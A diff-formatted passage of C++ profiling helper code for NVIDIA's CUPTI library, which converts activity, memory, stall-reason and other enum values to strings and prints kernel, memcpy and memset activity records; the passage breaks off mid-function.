CUPTI_ACTIVITY_KIND_DEVICE_ATTRIBUTE: + return "DEVICE_ATTRIBUTE"; + case CUPTI_ACTIVITY_KIND_SHARED_ACCESS: + return "SHARED_ACCESS"; + case CUPTI_ACTIVITY_KIND_PC_SAMPLING: + return "PC_SAMPLING"; + case CUPTI_ACTIVITY_KIND_PC_SAMPLING_RECORD_INFO: + return "PC_SAMPLING_RECORD_INFO"; + case CUPTI_ACTIVITY_KIND_INSTRUCTION_CORRELATION: + return "INSTRUCTION_CORRELATION"; + case CUPTI_ACTIVITY_KIND_OPENACC_DATA: + return "OPENACC_DATA"; + case CUPTI_ACTIVITY_KIND_OPENACC_LAUNCH: + return "OPENACC_LAUNCH"; + case CUPTI_ACTIVITY_KIND_OPENACC_OTHER: + return "OPENACC_OTHER"; + case CUPTI_ACTIVITY_KIND_CUDA_EVENT: + return "CUDA_EVENT"; + case CUPTI_ACTIVITY_KIND_STREAM: + return "STREAM"; + case CUPTI_ACTIVITY_KIND_SYNCHRONIZATION: + return "SYNCHRONIZATION"; + case CUPTI_ACTIVITY_KIND_EXTERNAL_CORRELATION: + return "EXTERNAL_CORRELATION"; + case CUPTI_ACTIVITY_KIND_NVLINK: + return "NVLINK"; + case CUPTI_ACTIVITY_KIND_MEMORY: + return "MEMORY"; + case CUPTI_ACTIVITY_KIND_PCIE: + return "PCIE"; + case CUPTI_ACTIVITY_KIND_OPENMP: + return "OPENMP"; + case CUPTI_ACTIVITY_KIND_INTERNAL_LAUNCH_API: + return "INTERNAL_LAUNCH_API"; + case CUPTI_ACTIVITY_KIND_MEMORY2: + return "MEMORY2"; + case CUPTI_ACTIVITY_KIND_MEMORY_POOL: + return "MEMORY_POOL"; + case CUPTI_ACTIVITY_KIND_GRAPH_TRACE: + return "GRAPH_TRACE"; + case CUPTI_ACTIVITY_KIND_JIT: + return "JIT"; + case CUPTI_ACTIVITY_KIND_MEM_DECOMPRESS: + return "MEM_DECOMPRESS"; + default: + return ""; + } +} + +static CUpti_ActivityKind +GetActivityKindFromString( + const char *pActivityKindString) +{ + if (!pActivityKindString) + { + std::cerr << "\n\nError: NULL string.\n\n"; + exit(-1); + } + + if (!stricmp(pActivityKindString, "MEMCPY")) + { + return CUPTI_ACTIVITY_KIND_MEMCPY; + } + else if (!stricmp(pActivityKindString, "MEMSET")) + { + return CUPTI_ACTIVITY_KIND_MEMSET; + } + else if (!stricmp(pActivityKindString, "KERNEL")) + { + return CUPTI_ACTIVITY_KIND_KERNEL; + } + else if (!stricmp(pActivityKindString, "DRIVER")) + { + return CUPTI_ACTIVITY_KIND_DRIVER; + } + else if (!stricmp(pActivityKindString, "RUNTIME")) + { + return CUPTI_ACTIVITY_KIND_RUNTIME; + } + else if (!stricmp(pActivityKindString, "DEVICE")) + { + return CUPTI_ACTIVITY_KIND_DEVICE; + } + else if (!stricmp(pActivityKindString, "CONTEXT")) + { + return CUPTI_ACTIVITY_KIND_CONTEXT; + } + else if (!stricmp(pActivityKindString, "CONCURRENT_KERNEL")) + { + return CUPTI_ACTIVITY_KIND_CONCURRENT_KERNEL; + } + else if (!stricmp(pActivityKindString, "NAME")) + { + return CUPTI_ACTIVITY_KIND_NAME; + } + else if (!stricmp(pActivityKindString, "MARKER")) + { + return CUPTI_ACTIVITY_KIND_MARKER; + } + else if (!stricmp(pActivityKindString, "MARKER_DATA")) + { + return CUPTI_ACTIVITY_KIND_MARKER_DATA; + } + else if (!stricmp(pActivityKindString, "SOURCE_LOCATOR")) + { + return CUPTI_ACTIVITY_KIND_SOURCE_LOCATOR; + } + else if (!stricmp(pActivityKindString, "GLOBAL_ACCESS")) + { + return CUPTI_ACTIVITY_KIND_GLOBAL_ACCESS; + } + else if (!stricmp(pActivityKindString, "BRANCH")) + { + return CUPTI_ACTIVITY_KIND_BRANCH; + } + else if (!stricmp(pActivityKindString, "OVERHEAD")) + { + return CUPTI_ACTIVITY_KIND_OVERHEAD; + } + else if (!stricmp(pActivityKindString, "CDP_KERNEL")) + { + return CUPTI_ACTIVITY_KIND_CDP_KERNEL; + } + else if (!stricmp(pActivityKindString, "PREEMPTION")) + { + return CUPTI_ACTIVITY_KIND_PREEMPTION; + } + else if (!stricmp(pActivityKindString, "ENVIRONMENT")) + { + return CUPTI_ACTIVITY_KIND_ENVIRONMENT; + } + else if (!stricmp(pActivityKindString, "MEMCPY2")) + { + return CUPTI_ACTIVITY_KIND_MEMCPY2; + } + else if (!stricmp(pActivityKindString, "INSTRUCTION_EXECUTION")) + { + return CUPTI_ACTIVITY_KIND_INSTRUCTION_EXECUTION; + } + else if (!stricmp(pActivityKindString, "UNIFIED_MEMORY_COUNTER")) + { + return CUPTI_ACTIVITY_KIND_UNIFIED_MEMORY_COUNTER; + } + else if (!stricmp(pActivityKindString, "FUNCTION")) + { + return CUPTI_ACTIVITY_KIND_FUNCTION; + } + else if (!stricmp(pActivityKindString, "MODULE")) + { + return CUPTI_ACTIVITY_KIND_MODULE; + } + else if (!stricmp(pActivityKindString, "DEVICE_ATTRIBUTE")) + { + return CUPTI_ACTIVITY_KIND_DEVICE_ATTRIBUTE; + } + else if (!stricmp(pActivityKindString, "SHARED_ACCESS")) + { + return CUPTI_ACTIVITY_KIND_SHARED_ACCESS; + } + else if (!stricmp(pActivityKindString, "PC_SAMPLING")) + { + return CUPTI_ACTIVITY_KIND_PC_SAMPLING; + } + else if (!stricmp(pActivityKindString, "PC_SAMPLING_RECORD_INFO")) + { + return CUPTI_ACTIVITY_KIND_PC_SAMPLING_RECORD_INFO; + } + else if (!stricmp(pActivityKindString, "INSTRUCTION_CORRELATION")) + { + return CUPTI_ACTIVITY_KIND_INSTRUCTION_CORRELATION; + } + else if (!stricmp(pActivityKindString, "OPENACC_DATA")) + { + return CUPTI_ACTIVITY_KIND_OPENACC_DATA; + } + else if (!stricmp(pActivityKindString, "OPENACC_LAUNCH")) + { + return CUPTI_ACTIVITY_KIND_OPENACC_LAUNCH; + } + else if (!stricmp(pActivityKindString, "OPENACC_OTHER")) + { + return CUPTI_ACTIVITY_KIND_OPENACC_OTHER; + } + else if (!stricmp(pActivityKindString, "CUDA_EVENT")) + { + return CUPTI_ACTIVITY_KIND_CUDA_EVENT; + } + else if (!stricmp(pActivityKindString, "STREAM")) + { + return CUPTI_ACTIVITY_KIND_STREAM; + } + else if (!stricmp(pActivityKindString, "SYNCHRONIZATION")) + { + return CUPTI_ACTIVITY_KIND_SYNCHRONIZATION; + } + else if (!stricmp(pActivityKindString, "EXTERNAL_CORRELATION")) + { + return CUPTI_ACTIVITY_KIND_EXTERNAL_CORRELATION; + } + else if (!stricmp(pActivityKindString, "NVLINK")) + { + return CUPTI_ACTIVITY_KIND_NVLINK; + } + else if (!stricmp(pActivityKindString, "MEMORY")) + { + return CUPTI_ACTIVITY_KIND_MEMORY; + } + else if (!stricmp(pActivityKindString, "PCIE")) + { + return CUPTI_ACTIVITY_KIND_PCIE; + } + else if (!stricmp(pActivityKindString, "OPENMP")) + { + return CUPTI_ACTIVITY_KIND_OPENMP; + } + else if (!stricmp(pActivityKindString, "INTERNAL_LAUNCH_API")) + { + return CUPTI_ACTIVITY_KIND_INTERNAL_LAUNCH_API; + } + else if (!stricmp(pActivityKindString, "MEMORY2")) + { + return CUPTI_ACTIVITY_KIND_MEMORY2; + } + else if (!stricmp(pActivityKindString, "MEMORY_POOL")) + { + return CUPTI_ACTIVITY_KIND_MEMORY_POOL; + } + else if (!stricmp(pActivityKindString, "GRAPH_TRACE")) + { + return CUPTI_ACTIVITY_KIND_GRAPH_TRACE; + } + else if (!stricmp(pActivityKindString, "JIT")) + { + return CUPTI_ACTIVITY_KIND_JIT; + } +else if (!stricmp(pActivityKindString, "MEM_DECOMPRESS")) + { + return CUPTI_ACTIVITY_KIND_MEM_DECOMPRESS; + } + else { + std::cerr << "\n\nError: Invalid string " << pActivityKindString << " cannot be converted to CUPTI Activity Kind.\n\n"; + exit(-1); + } +} + + + +static const char * +GetActivityObjectKindString( + CUpti_ActivityObjectKind objectKind) +{ + switch (objectKind) + { + case CUPTI_ACTIVITY_OBJECT_UNKNOWN: + return "UNKNOWN"; + case CUPTI_ACTIVITY_OBJECT_PROCESS: + return "PROCESS"; + case CUPTI_ACTIVITY_OBJECT_THREAD: + return "THREAD"; + case CUPTI_ACTIVITY_OBJECT_DEVICE: + return "DEVICE"; + case CUPTI_ACTIVITY_OBJECT_CONTEXT: + return "CONTEXT"; + case CUPTI_ACTIVITY_OBJECT_STREAM: + return "STREAM"; + default: + return ""; + } +} + +static uint32_t +GetActivityObjectKindId( + CUpti_ActivityObjectKind objectKind, + CUpti_ActivityObjectKindId *pObjectKindId) +{ + switch (objectKind) + { + case CUPTI_ACTIVITY_OBJECT_UNKNOWN: + return 0xffffffff; + case CUPTI_ACTIVITY_OBJECT_PROCESS: + return pObjectKindId->pt.processId; + case CUPTI_ACTIVITY_OBJECT_THREAD: + return pObjectKindId->pt.threadId; + case CUPTI_ACTIVITY_OBJECT_DEVICE: + return pObjectKindId->dcs.deviceId; + case CUPTI_ACTIVITY_OBJECT_CONTEXT: + return pObjectKindId->dcs.contextId; + case CUPTI_ACTIVITY_OBJECT_STREAM: + return pObjectKindId->dcs.streamId; + default: + return 0xffffffff; + } +} + +static const char * +GetActivityOverheadKindString( + CUpti_ActivityOverheadKind overheadKind) +{ + switch (overheadKind) + { + case CUPTI_ACTIVITY_OVERHEAD_UNKNOWN: + return "UNKNOWN"; + case CUPTI_ACTIVITY_OVERHEAD_DRIVER_COMPILER: + return "DRIVER_COMPILER"; + case CUPTI_ACTIVITY_OVERHEAD_CUPTI_BUFFER_FLUSH: + return "CUPTI_BUFFER_FLUSH"; + case CUPTI_ACTIVITY_OVERHEAD_CUPTI_INSTRUMENTATION: + return "CUPTI_INSTRUMENTATION"; + case CUPTI_ACTIVITY_OVERHEAD_CUPTI_RESOURCE: + return "CUPTI_RESOURCE"; + case CUPTI_ACTIVITY_OVERHEAD_RUNTIME_TRIGGERED_MODULE_LOADING: + return "RUNTIME_TRIGGERED_MODULE_LOADING"; + case CUPTI_ACTIVITY_OVERHEAD_LAZY_FUNCTION_LOADING: + return "LAZY_FUNCTION_LOADING"; + case CUPTI_ACTIVITY_OVERHEAD_COMMAND_BUFFER_FULL: + return "COMMAND_BUFFER_FULL"; + case CUPTI_ACTIVITY_OVERHEAD_ACTIVITY_BUFFER_REQUEST: + return "ACTIVITY_BUFFER_REQUEST"; + case CUPTI_ACTIVITY_OVERHEAD_UVM_ACTIVITY_INIT: + return "UVM_ACTIVITY_INIT"; + default: + return ""; + } +} + +static const char * +GetComputeApiKindString( + CUpti_ActivityComputeApiKind computeApiKind) +{ + switch (computeApiKind) + { + case CUPTI_ACTIVITY_COMPUTE_API_UNKNOWN: + return "UNKNOWN"; + case CUPTI_ACTIVITY_COMPUTE_API_CUDA: + return "CUDA"; + case CUPTI_ACTIVITY_COMPUTE_API_CUDA_MPS: + return "CUDA_MPS"; + default: + return ""; + } +} + +static const char * +GetStallReasonString( + CUpti_ActivityPCSamplingStallReason pcSamplingStallReason) +{ + switch (pcSamplingStallReason) + { + case CUPTI_ACTIVITY_PC_SAMPLING_STALL_INVALID: + return "INVALID"; + case CUPTI_ACTIVITY_PC_SAMPLING_STALL_NONE: + return "NONE"; + case CUPTI_ACTIVITY_PC_SAMPLING_STALL_INST_FETCH: + return "INSTRUCTION_FETCH"; + case CUPTI_ACTIVITY_PC_SAMPLING_STALL_EXEC_DEPENDENCY: + return "EXECUTION_DEPENDENCY"; + case CUPTI_ACTIVITY_PC_SAMPLING_STALL_MEMORY_DEPENDENCY: + return "MEMORY_DEPENDENCY"; + case CUPTI_ACTIVITY_PC_SAMPLING_STALL_TEXTURE: + return "TEXTURE"; + case CUPTI_ACTIVITY_PC_SAMPLING_STALL_SYNC: + return "SYNC"; + case CUPTI_ACTIVITY_PC_SAMPLING_STALL_CONSTANT_MEMORY_DEPENDENCY: + return "CONSTANT_MEMORY_DEPENDENCY"; + case CUPTI_ACTIVITY_PC_SAMPLING_STALL_PIPE_BUSY: + return "PIPE_BUSY"; + case CUPTI_ACTIVITY_PC_SAMPLING_STALL_MEMORY_THROTTLE: + return "MEMORY_THROTTLE"; + case CUPTI_ACTIVITY_PC_SAMPLING_STALL_NOT_SELECTED: + return "SELECTED"; + case CUPTI_ACTIVITY_PC_SAMPLING_STALL_OTHER: + return "OTHER"; + case CUPTI_ACTIVITY_PC_SAMPLING_STALL_SLEEPING: + return "SLEEPING"; + default: + return ""; + } +} + +static const char * +GetMemcpyKindString( + CUpti_ActivityMemcpyKind memcpyKind) +{ + switch (memcpyKind) + { + case CUPTI_ACTIVITY_MEMCPY_KIND_UNKNOWN: + return "UNKNOWN"; + case CUPTI_ACTIVITY_MEMCPY_KIND_HTOD: + return "HtoD"; + case CUPTI_ACTIVITY_MEMCPY_KIND_DTOH: + return "DtoH"; + case CUPTI_ACTIVITY_MEMCPY_KIND_HTOA: + return "HtoA"; + case CUPTI_ACTIVITY_MEMCPY_KIND_ATOH: + return "AtoH"; + case CUPTI_ACTIVITY_MEMCPY_KIND_ATOA: + return "AtoA"; + case CUPTI_ACTIVITY_MEMCPY_KIND_ATOD: + return "AtoD"; + case CUPTI_ACTIVITY_MEMCPY_KIND_DTOA: + return "DtoA"; + case CUPTI_ACTIVITY_MEMCPY_KIND_DTOD: + return "DtoD"; + case CUPTI_ACTIVITY_MEMCPY_KIND_HTOH: + return "HtoH"; + case CUPTI_ACTIVITY_MEMCPY_KIND_PTOP: + return "PtoP"; + default: + return ""; + } +} + +static const char * +GetMemoryKindString( + CUpti_ActivityMemoryKind memoryKind) +{ + switch (memoryKind) + { + case CUPTI_ACTIVITY_MEMORY_KIND_UNKNOWN: + return "UNKNOWN"; + case CUPTI_ACTIVITY_MEMORY_KIND_PAGEABLE: + return "PAGEABLE"; + case CUPTI_ACTIVITY_MEMORY_KIND_PINNED: + return "PINNED"; + case CUPTI_ACTIVITY_MEMORY_KIND_DEVICE: + return "DEVICE"; + case CUPTI_ACTIVITY_MEMORY_KIND_ARRAY: + return "ARRAY"; + case CUPTI_ACTIVITY_MEMORY_KIND_MANAGED: + return "MANAGED"; + case CUPTI_ACTIVITY_MEMORY_KIND_DEVICE_STATIC: + return "DEVICE_STATIC"; + case CUPTI_ACTIVITY_MEMORY_KIND_MANAGED_STATIC: + return "MANAGED_STATIC"; + default: + return ""; + } +} + +static const char * +GetPreemptionKindString( + CUpti_ActivityPreemptionKind preemptionKind) +{ + switch (preemptionKind) + { + case CUPTI_ACTIVITY_PREEMPTION_KIND_UNKNOWN: + return "UNKNOWN"; + case CUPTI_ACTIVITY_PREEMPTION_KIND_SAVE: + return "SAVE"; + case CUPTI_ACTIVITY_PREEMPTION_KIND_RESTORE: + return "RESTORE"; + default: + return ""; + } +} + +static const char * +GetActivityEnvironmentKindString( + CUpti_ActivityEnvironmentKind environmentKind) +{ + switch (environmentKind) + { + case CUPTI_ACTIVITY_ENVIRONMENT_UNKNOWN: + return "UNKNOWN"; + case CUPTI_ACTIVITY_ENVIRONMENT_SPEED: + return "SPEED"; + case CUPTI_ACTIVITY_ENVIRONMENT_TEMPERATURE: + return "TEMPERATURE"; + case CUPTI_ACTIVITY_ENVIRONMENT_POWER: + return "POWER"; + case CUPTI_ACTIVITY_ENVIRONMENT_COOLING: + return "COOLING"; + default: + return ""; + } +} + +static const char * +GetUvmCounterScopeString( + CUpti_ActivityUnifiedMemoryCounterScope unifiedMemoryCounterScope) +{ + switch (unifiedMemoryCounterScope) + { + case CUPTI_ACTIVITY_UNIFIED_MEMORY_COUNTER_SCOPE_UNKNOWN: + return "UNKNOWN"; + case CUPTI_ACTIVITY_UNIFIED_MEMORY_COUNTER_SCOPE_PROCESS_SINGLE_DEVICE: + return "PROCESS_SINGLE_DEVICE"; + case CUPTI_ACTIVITY_UNIFIED_MEMORY_COUNTER_SCOPE_PROCESS_ALL_DEVICES: + return "PROCESS_ALL_DEVICES"; + default: + return ""; + } +} + +static const char * +GetUvmCounterKindString( + CUpti_ActivityUnifiedMemoryCounterKind unifiedMemoryCounterKind) +{ + switch (unifiedMemoryCounterKind) + { + case CUPTI_ACTIVITY_UNIFIED_MEMORY_COUNTER_KIND_UNKNOWN: + return "UNKNOWN"; + case CUPTI_ACTIVITY_UNIFIED_MEMORY_COUNTER_KIND_BYTES_TRANSFER_HTOD: + return "BYTES_TRANSFER_HTOD"; + case CUPTI_ACTIVITY_UNIFIED_MEMORY_COUNTER_KIND_BYTES_TRANSFER_DTOH: + return "BYTES_TRANSFER_DTOH"; + case CUPTI_ACTIVITY_UNIFIED_MEMORY_COUNTER_KIND_CPU_PAGE_FAULT_COUNT: + return "CPU_PAGE_FAULT_COUNT"; + case CUPTI_ACTIVITY_UNIFIED_MEMORY_COUNTER_KIND_GPU_PAGE_FAULT: + return "GPU_PAGE_FAULT"; + case CUPTI_ACTIVITY_UNIFIED_MEMORY_COUNTER_KIND_THRASHING: + return "THRASHING"; + case CUPTI_ACTIVITY_UNIFIED_MEMORY_COUNTER_KIND_THROTTLING: + return "THROTTLING"; + case CUPTI_ACTIVITY_UNIFIED_MEMORY_COUNTER_KIND_REMOTE_MAP: + return "REMOTE_MAP"; + case CUPTI_ACTIVITY_UNIFIED_MEMORY_COUNTER_KIND_BYTES_TRANSFER_DTOD: + return "BYTES_TRANSFER_DTOD"; + default: + return ""; + } +} + +static const char * +GetSynchronizationType( + CUpti_ActivitySynchronizationType syncronizationType) +{ + switch (syncronizationType) + { + case CUPTI_ACTIVITY_SYNCHRONIZATION_TYPE_UNKNOWN: + return "UNKNOWN"; + case CUPTI_ACTIVITY_SYNCHRONIZATION_TYPE_EVENT_SYNCHRONIZE: + return "EVENT_SYNCHRONIZE"; + case CUPTI_ACTIVITY_SYNCHRONIZATION_TYPE_STREAM_WAIT_EVENT: + return "STREAM_WAIT_EVENT"; + case CUPTI_ACTIVITY_SYNCHRONIZATION_TYPE_STREAM_SYNCHRONIZE: + return "STREAM_SYNCHRONIZE"; + case CUPTI_ACTIVITY_SYNCHRONIZATION_TYPE_CONTEXT_SYNCHRONIZE: + return "CONTEXT_SYNCHRONIZE"; + default: + return ""; + } +} + +static const char * +GetStreamType( + CUpti_ActivityStreamFlag streamFlag) +{ + switch (streamFlag) + { + case CUPTI_ACTIVITY_STREAM_CREATE_FLAG_UNKNOWN: + return "UNKNOWN"; + case CUPTI_ACTIVITY_STREAM_CREATE_FLAG_DEFAULT: + return "DEFAULT_STREAM"; + case CUPTI_ACTIVITY_STREAM_CREATE_FLAG_NON_BLOCKING: + return "NON_BLOCKING_STREAM"; + case CUPTI_ACTIVITY_STREAM_CREATE_FLAG_NULL: + return "NULL_STREAM"; + default: + return ""; + } +} + +static const char * +GetMemoryOperationTypeString( + CUpti_ActivityMemoryOperationType memoryOperationType) +{ + switch (memoryOperationType) + { + case CUPTI_ACTIVITY_MEMORY_OPERATION_TYPE_INVALID: + return "INVALID"; + case CUPTI_ACTIVITY_MEMORY_OPERATION_TYPE_ALLOCATION: + return "ALLOCATE"; + case CUPTI_ACTIVITY_MEMORY_OPERATION_TYPE_RELEASE: + return "RELEASE"; + default: + return ""; + } +} + +static const char * +GetMemoryPoolTypeString( + CUpti_ActivityMemoryPoolType memoryPoolType) +{ + switch (memoryPoolType) + { + case CUPTI_ACTIVITY_MEMORY_POOL_TYPE_INVALID: + return "INVALID"; + case CUPTI_ACTIVITY_MEMORY_POOL_TYPE_LOCAL: + return "LOCAL"; + case CUPTI_ACTIVITY_MEMORY_POOL_TYPE_IMPORTED: + return "IMPORTED"; + default: + return ""; + } +} + +static const char * +GetMemoryPoolOperationTypeString( + CUpti_ActivityMemoryPoolOperationType memoryPoolOperationType) +{ + switch (memoryPoolOperationType) + { + case CUPTI_ACTIVITY_MEMORY_POOL_OPERATION_TYPE_INVALID: + return "INVALID"; + case CUPTI_ACTIVITY_MEMORY_POOL_OPERATION_TYPE_CREATED: + return "MEM_POOL_CREATED"; + case CUPTI_ACTIVITY_MEMORY_POOL_OPERATION_TYPE_DESTROYED: + return "MEM_POOL_DESTROYED"; + case CUPTI_ACTIVITY_MEMORY_POOL_OPERATION_TYPE_TRIMMED: + return "MEM_POOL_TRIMMED"; + default: + return ""; + } +} + +static const char * +GetChannelType( + CUpti_ChannelType channelType) +{ + switch (channelType) + { + case CUPTI_CHANNEL_TYPE_INVALID: + return "INVALID"; + case CUPTI_CHANNEL_TYPE_COMPUTE: + return "COMPUTE"; + case CUPTI_CHANNEL_TYPE_ASYNC_MEMCPY: + return "ASYNC_MEMCPY"; + case CUPTI_CHANNEL_TYPE_DECOMP: + return "DECOMP"; + default: + return ""; + } +} + +static const char * +GetJitEntryType( + CUpti_ActivityJitEntryType jitEntryType) +{ + switch (jitEntryType) + { + case CUPTI_ACTIVITY_JIT_ENTRY_INVALID: + return "INVALID"; + case CUPTI_ACTIVITY_JIT_ENTRY_PTX_TO_CUBIN: + return "PTX_TO_CUBIN"; + case CUPTI_ACTIVITY_JIT_ENTRY_NVVM_IR_TO_PTX: + return "NVVM_IR_TO_PTX"; + default: + return ""; + } +} + +static const char * +GetJitOperationType( + CUpti_ActivityJitOperationType jitOperationType) +{ + switch (jitOperationType) + { + case CUPTI_ACTIVITY_JIT_OPERATION_INVALID: + return "INVALID"; + case CUPTI_ACTIVITY_JIT_OPERATION_CACHE_LOAD: + return "CACHE_LOAD"; + case CUPTI_ACTIVITY_JIT_OPERATION_CACHE_STORE: + return "CACHE_STORE"; + case CUPTI_ACTIVITY_JIT_OPERATION_COMPILE: + return "COMPILE"; + default: + return ""; + } +} + +static const char * +GetName( + const char *pName) +{ + if (pName == NULL) + { + return ""; + } + + return pName; +} + +static const char * +GetDomainName( + const char *pName) +{ + if (pName == NULL) + { + return ""; + } + + return pName; +} + +static const char * +GetOpenAccConstructString( + CUpti_OpenAccConstructKind openAccConstructKind) +{ + switch (openAccConstructKind) + { + case CUPTI_OPENACC_CONSTRUCT_KIND_UNKNOWN: + return "UNKNOWN"; + case CUPTI_OPENACC_CONSTRUCT_KIND_PARALLEL: + return "PARALLEL"; + case CUPTI_OPENACC_CONSTRUCT_KIND_KERNELS: + return "KERNELS"; + case CUPTI_OPENACC_CONSTRUCT_KIND_LOOP: + return "LOOP"; + case CUPTI_OPENACC_CONSTRUCT_KIND_DATA: + return "DATA"; + case CUPTI_OPENACC_CONSTRUCT_KIND_ENTER_DATA: + return "ENTER_DATA"; + case CUPTI_OPENACC_CONSTRUCT_KIND_EXIT_DATA: + return "EXIT_DATA"; + case CUPTI_OPENACC_CONSTRUCT_KIND_HOST_DATA: + return "HOST_DATA"; + case CUPTI_OPENACC_CONSTRUCT_KIND_ATOMIC: + return "ATOMIC"; + case CUPTI_OPENACC_CONSTRUCT_KIND_DECLARE: + return "DECLARE"; + case CUPTI_OPENACC_CONSTRUCT_KIND_INIT: + return "INIT"; + case CUPTI_OPENACC_CONSTRUCT_KIND_SHUTDOWN: + return "SHUTDOWN"; + case CUPTI_OPENACC_CONSTRUCT_KIND_SET: + return "SET"; + case CUPTI_OPENACC_CONSTRUCT_KIND_UPDATE: + return "UPDATE"; + case CUPTI_OPENACC_CONSTRUCT_KIND_ROUTINE: + return "ROUTINE"; + case CUPTI_OPENACC_CONSTRUCT_KIND_WAIT: + return "WAIT"; + case CUPTI_OPENACC_CONSTRUCT_KIND_RUNTIME_API: + return "RUNTIME_API"; + default: + return NULL; + } +} + +static const char * +GetExternalCorrelationKindString( + CUpti_ExternalCorrelationKind externalCorrelationKind) +{ + switch (externalCorrelationKind) + { + case CUPTI_EXTERNAL_CORRELATION_KIND_INVALID: + return "INVALID"; + case CUPTI_EXTERNAL_CORRELATION_KIND_UNKNOWN: + return "UNKNOWN"; + case CUPTI_EXTERNAL_CORRELATION_KIND_OPENACC: + return "OPENACC"; + case CUPTI_EXTERNAL_CORRELATION_KIND_CUSTOM0: + return "CUSTOM0"; + case CUPTI_EXTERNAL_CORRELATION_KIND_CUSTOM1: + return "CUSTOM1"; + case CUPTI_EXTERNAL_CORRELATION_KIND_CUSTOM2: + return "CUSTOM2"; + default: + return ""; + } +} + +static const char * +GetDevTypeNvlink( + CUpti_DevType devType) +{ + switch (devType) + { + case CUPTI_DEV_TYPE_INVALID: + return "INVALID"; + case CUPTI_DEV_TYPE_GPU: + return "GPU"; + case CUPTI_DEV_TYPE_NPU: + return "CPU"; + default: + return ""; + } +} + +static uint32_t +GetCorrelationId( + CUpti_Activity *pRecord) +{ + switch (pRecord->kind) + { + case CUPTI_ACTIVITY_KIND_MEMCPY: + return ((CUpti_ActivityMemcpy6 *)pRecord)->correlationId; + case CUPTI_ACTIVITY_KIND_MEMSET: + return ((CUpti_ActivityMemset4 *)pRecord)->correlationId; + case CUPTI_ACTIVITY_KIND_KERNEL: + case CUPTI_ACTIVITY_KIND_CONCURRENT_KERNEL: + return ((CUpti_ActivityKernel9 *)pRecord)->correlationId; + case CUPTI_ACTIVITY_KIND_DRIVER: + case CUPTI_ACTIVITY_KIND_RUNTIME: + return ((CUpti_ActivityAPI *)pRecord)->correlationId; + case CUPTI_ACTIVITY_KIND_CDP_KERNEL: + return ((CUpti_ActivityCdpKernel *)pRecord)->correlationId; + case CUPTI_ACTIVITY_KIND_MEMCPY2: + return ((CUpti_ActivityMemcpyPtoP4 *)pRecord)->correlationId; + default: + return 0; + } +} + +static void +PrintOpenaccCommon( + FILE *pFileHandle, + CUpti_ActivityOpenAcc *pOpenAcc) +{ + fprintf(pFileHandle, "%s [ %llu, %llu ] duration %llu, eventKind %u, parentConstruct %s, version %u, implicit %u, deviceType %u, deviceNumber %u, threadId %u,\n" + " async %llu, asyncMap %llu, lineNo %u, endLineNo %u, funcLineNo %u, endFuncLineNo %u,\n" + " cuDeviceId %u, cuContextId %u, cuStreamId %u, cuProcessId %u, cuThreadId %u, externalId %llu", + GetActivityKindString(pOpenAcc->kind), + (unsigned long long)pOpenAcc->start, + (unsigned long long)pOpenAcc->end, + (unsigned long long)(pOpenAcc->end - pOpenAcc->start), + pOpenAcc->eventKind, + GetOpenAccConstructString((CUpti_OpenAccConstructKind)pOpenAcc->parentConstruct), + pOpenAcc->version, + pOpenAcc->implicit, + pOpenAcc->deviceType, + pOpenAcc->deviceNumber, + pOpenAcc->threadId, + (unsigned long long)pOpenAcc->async, + (unsigned long long)pOpenAcc->asyncMap, + pOpenAcc->lineNo, + pOpenAcc->endLineNo, + pOpenAcc->funcLineNo, + pOpenAcc->funcEndLineNo, + pOpenAcc->cuDeviceId, + pOpenAcc->cuContextId, + pOpenAcc->cuStreamId, + pOpenAcc->cuProcessId, + pOpenAcc->cuThreadId, + (unsigned long long)pOpenAcc->externalId); + + fprintf(pFileHandle, ", srcFile %s", pOpenAcc->srcFile ? pOpenAcc->srcFile : "?"); + fprintf(pFileHandle, ", funcName %s", pOpenAcc->funcName ? pOpenAcc->funcName : "?"); + +} + +static void +PrintActivity( + CUpti_Activity *pRecord, + FILE *pFileHandle) +{ + CUpti_ActivityKind activityKind = pRecord->kind; + + switch (activityKind) + { + case CUPTI_ACTIVITY_KIND_MEMCPY: + { + CUpti_ActivityMemcpy6 *pMemcpyRecord = (CUpti_ActivityMemcpy6 *)pRecord; + + fprintf(pFileHandle, "%s \"%s\" [ %llu, %llu ] duration %llu, size %llu, copyCount %llu, srcKind %s, dstKind %s, correlationId %u\n" + "\tdeviceId %u, contextId %u, streamId %u, graphId %u, graphNodeId %llu, channelId %u, channelType %s\n", + GetActivityKindString(pMemcpyRecord->kind), + GetMemcpyKindString((CUpti_ActivityMemcpyKind)pMemcpyRecord->copyKind), + (unsigned long long)pMemcpyRecord->start, + (unsigned long long)pMemcpyRecord->end, + (unsigned long long)(pMemcpyRecord->end - pMemcpyRecord->start), + (unsigned long long)pMemcpyRecord->bytes, + (unsigned long long)pMemcpyRecord->copyCount, + GetMemoryKindString((CUpti_ActivityMemoryKind)pMemcpyRecord->srcKind), + GetMemoryKindString((CUpti_ActivityMemoryKind)pMemcpyRecord->dstKind), + pMemcpyRecord->correlationId, + pMemcpyRecord->deviceId, + pMemcpyRecord->contextId, + pMemcpyRecord->streamId, + pMemcpyRecord->graphId, + (unsigned long long)pMemcpyRecord->graphNodeId, + pMemcpyRecord->channelID, + GetChannelType(pMemcpyRecord->channelType)); + + break; + } + case CUPTI_ACTIVITY_KIND_MEMSET: + { + CUpti_ActivityMemset4 *pMemsetRecord = (CUpti_ActivityMemset4 *)pRecord; + + fprintf(pFileHandle, "%s [ %llu, %llu ] duration %llu, value %u, size %llu, correlationId %u\n" + "\tdeviceId %u, contextId %u, streamId %u, graphId %u, graphNodeId %llu, channelId %u, channelType %s\n", + GetActivityKindString(pMemsetRecord->kind), + (unsigned long long)pMemsetRecord->start, + (unsigned long long)pMemsetRecord->end, + (unsigned long long)(pMemsetRecord->end - pMemsetRecord->start), + pMemsetRecord->value, + (unsigned long long)pMemsetRecord->bytes, + pMemsetRecord->correlationId, + pMemsetRecord->deviceId, + pMemsetRecord->contextId, + pMemsetRecord->streamId, + pMemsetRecord->graphId, + (unsigned long long)pMemsetRecord->graphNodeId, + pMemsetRecord->channelID, + GetChannelType(pMemsetRecord->channelType)); + + break; + } + case CUPTI_ACTIVITY_KIND_KERNEL: + case CUPTI_ACTIVITY_KIND_CONCURRENT_KERNEL: + { + CUpti_ActivityKernel9 *pKernelRecord = (CUpti_ActivityKernel9 *)pRecord; + + fprintf(pFileHandle, "%s [ %llu, %llu ] duration %llu, \"%s\", correlationId %u, cacheConfigRequested %d, cacheConfigExecuted %d\n" + "\tgrid [ %u, %u, %u ], block [ %u, %u, %u ], cluster [ %u, %u, %u ], sharedMemory (static %u, dynamic %u)\n" + "\tdeviceId %u, 